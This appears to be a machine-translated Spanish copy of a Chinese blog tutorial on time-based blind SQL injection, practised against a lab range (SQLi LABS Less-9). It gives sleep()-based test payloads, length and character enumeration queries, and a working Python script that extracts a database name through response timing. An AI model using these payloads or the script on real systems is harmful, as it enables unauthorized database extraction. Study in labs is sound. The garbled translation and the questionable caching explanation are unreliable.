Súper núcleo duro, inyección a ciegas de inyección SQL, principio + pasos + ideas prácticas

"Página de inicio del autor": Shibie Sanshi wyx
"Perfil del autor": CSDN top100, experto en blogs de Alibaba Cloud, experto en la nube de Huawei, creador de alta calidad en el campo de la seguridad de la red
"Introducción de columna": este artículo se ingresó en la columna "Red Inicio rápido de seguridad"

1. ¿Qué es el tiempo ciego?

La inyección a ciegas en el tiempo se refiere a la inyección a ciegas basada en el tiempo, también conocida como inyección retardada. Se juzga si hay inyección de acuerdo con el tiempo de respuesta de la página.

2. Escenarios de uso

La prioridad de la inyección ciega de tiempo no es alta, y generalmente se considera cuando no se pueden usar la inyección conjunta, la inyección de error y la inyección ciega booleana:

  1. La página no tiene ubicación de eco (la inyección conjunta no funciona)
  2. La página no muestra el mensaje de error de la base de datos (no se puede usar la inyección de error)
  3. La página responde con un solo resultado, ya sea que tenga éxito o falle (no se pueden usar persianas booleanas)

3. Usar pasos

Las persianas de tiempo se utilizan de la misma manera que las persianas booleanas y se pueden dividir en tres pasos.

Paso 1: Determinar el punto de inyección

Pruebe los siguientes tipos de cargas útiles de prueba a su vez, si el retraso es de más de 5 segundos, el juicio es verdadero, es decir, hay inyección

?id=1 and if(1,sleep(5),3) -- a
?id=1' and if(1,sleep(5),3) -- a
?id=1" and if(1,sleep(5),3) -- a

括号及各种过滤类型……

Consejo: el tiempo de suspensión se puede personalizar. Si el tiempo es demasiado largo, la eficiencia es demasiado baja y si el tiempo es demasiado corto, no es fácil de juzgar.

Paso 2: determinar la longitud

Use if() y sleep() de MySQL para juzgar la longitud del resultado de la consulta, comenzando desde 1 y aumentando sucesivamente.

?id=1' and if((length(查询语句) =1), sleep(5), 3) -- a

Si el tiempo de respuesta de la página supera los 5 segundos, el juicio de longitud es correcto (dormir (5));
si el tiempo de respuesta de la página no supera los 5 segundos (respuesta normal), el juicio de longitud es incorrecto y la duración del juicio sigue aumentando.
inserte la descripción de la imagen aquí

Paso 3: enumerar caracteres

Utilice if() y sleep() de MySQL para juzgar el contenido de los caracteres.
Intercepte el primer carácter del resultado de la consulta, conviértalo en código ASCLL, juzgue desde 32 y aumente a 126.
Para el código ASCLL, consulte mi otro artículo: Tabla de comparación de códigos ASCLL

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- a

Si el tiempo de respuesta de la página supera los 5 segundos, significa que el contenido del personaje se juzga correctamente;
si el tiempo de respuesta de la página no supera los 5 segundos (respuesta normal), significa que el contenido del personaje se juzga incorrectamente y otras posibilidades para adivinar el el carácter se incrementa.

Después de adivinar con éxito el primer carácter, adivine el segundo, el tercero... el enésimo a su vez (n representa la longitud del resultado devuelto).

4. Desventajas de las apuestas a ciegas de tiempo

  1. La complejidad de tiempo de la inyección ciega de tiempo es alta y necesita consumir mucho tiempo.
  2. Las persianas de tiempo se ven fácilmente afectadas por factores como las fluctuaciones de la red, lo que genera errores.

La inyección ciega de tiempo tiene un gran error y un alto costo de tiempo. Por lo general, es suficiente para probar la existencia de la inyección.

5. Guión ciego

La anotación ciega en el tiempo generalmente usa secuencias de comandos para adivinar automáticamente la solución. La secuencia de comandos de Python es la siguiente, que se puede modificar según sea necesario:

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
	(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
	(ascii(
		substr(
		(database())
		,{n},1)
	) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

6. Ideas prácticas

Rango de prueba: SQLi LABS Less 9
Inyección: Inyección de caracteres de comillas simples

1. Determinar si hay una inyección ciega de tiempo

Después de determinar el punto de inyección, es necesario determinar si hay una inyección a ciegas en el tiempo en la página web. Cuando se cumplen las siguientes dos condiciones al mismo tiempo, se puede determinar que hay una inyección a ciegas en el tiempo:

?id=1' and if(1, sleep(5), 3) -- a	延时5秒响应
?id=1' and if(0,sleep(5),3) -- a	正常响应

Análisis de principios

El primer parámetro de la función if() es una expresión condicional, 1 se convertirá en True y 0 se convertirá en False.
Cuando el resultado de la expresión condicional es Verdadero, se ejecutará el código en la posición del segundo parámetro, es decir, sleep(5), retrasando la respuesta por 5 segundos;
cuando el resultado de la expresión condicional es Falso, el código en la tercera se ejecutará la posición del parámetro, a saber, 3, un marcador de posición personalizado, sin sentido, la página responde normalmente.
inserte la descripción de la imagen aquí

2. Reducción de ganado

Una vez que se determina que existe la inyección a ciegas, se puede eliminar la biblioteca.
La eliminación de la biblioteca se divide en dos pasos: juzgar la longitud, enumerar los caracteres

2.1 Juzgar la longitud del resultado devuelto

Tomemos el ejemplo de juzgar la longitud del nombre de la base de datos utilizada actualmente, primero juzgue si la longitud es mayor que 1.

?id=1' and if(
	(length(database()) >1)
,sleep(5),3) -- a

Análisis de principios

La carga útil se empalma en SQL y el proceso de ejecución es el siguiente:

inserte la descripción de la imagen aquí

La longitud del nombre de la biblioteca debe ser superior a 1. Si el tiempo de respuesta de la página es superior a 5 segundos, significa que la carga útil está disponible. Comience desde 1 para probar la longitud y aumente secuencialmente:
inserte la descripción de la imagen aquí

2.2 Caracteres de enumeración

Hay 95 caracteres disponibles para el nombre de la biblioteca, como letras mayúsculas y minúsculas, números, guiones bajos y otros caracteres especiales.
Interceptamos el primer carácter y enumeramos exhaustivamente estas posibilidades de 95. Para facilitar las adivinanzas, convertimos el carácter en código ASCLL y luego juzgamos (el ASCLL correspondiente al carácter es 32 ~ 126).

Primero, determine si el código ASCLL del primer carácter del nombre de la base de datos actualmente en uso es mayor que 1:

?id=1' and if(
	(ascii(
		substr(
		(database())
		,1,1)
	) >1)
, sleep(5), 3) -- a

Análisis de principios

La carga útil se empalma en SQL y el proceso de ejecución es el siguiente:
inserte la descripción de la imagen aquí
el código ASCLL del primer carácter debe ser mayor que 1 y la página responde durante más de 5 segundos, lo que indica que la carga útil está disponible.
A juzgar del 32 al 126, si la página responde durante más de 5 segundos, la suposición es correcta; si la página responde normalmente, la suposición es incorrecta.
Después de adivinar con éxito el primer carácter, adivine el segundo, tercero... enésimo carácter a su vez (n representa la longitud del resultado devuelto).

7. Juicio de error

Para la misma carga útil, si el primer tiempo de respuesta es largo, pero el segundo tiempo de respuesta es corto, significa que se ve afectado por las fluctuaciones de la red. Si ambos tiempos de respuesta son muy largos, la demora es exitosa.

Principio: la base de datos colocará las sentencias SQL ejecutadas y los resultados de la ejecución en la memoria caché para reducir la presión de acceso a la base de datos. Cuando la base de datos ejecuta SQL, primero buscará el caché.Si el mismo SQL existe en el caché, devolverá directamente los resultados de la consulta en el caché sin buscar en la base de datos.
Esto significa que cuando se ejecuta el mismo SQL por primera vez, consumirá mucho tiempo (revisando la base de datos), cuando se ejecuta por segunda vez, consumirá casi nada de tiempo (revisando el caché).

Columna recomendada

"Inicio rápido de seguridad de red" utiliza el tiempo más corto para dominar la tecnología de seguridad de red central.
"Tutorial de despacho de campos de tiro" Los tutoriales de despacho de aduanas de varios campos de tiro se actualizan continuamente...

Supongo que te gusta

Origin blog.csdn.net/wangyuxiang946/article/details/123857045
Recomendado
Clasificación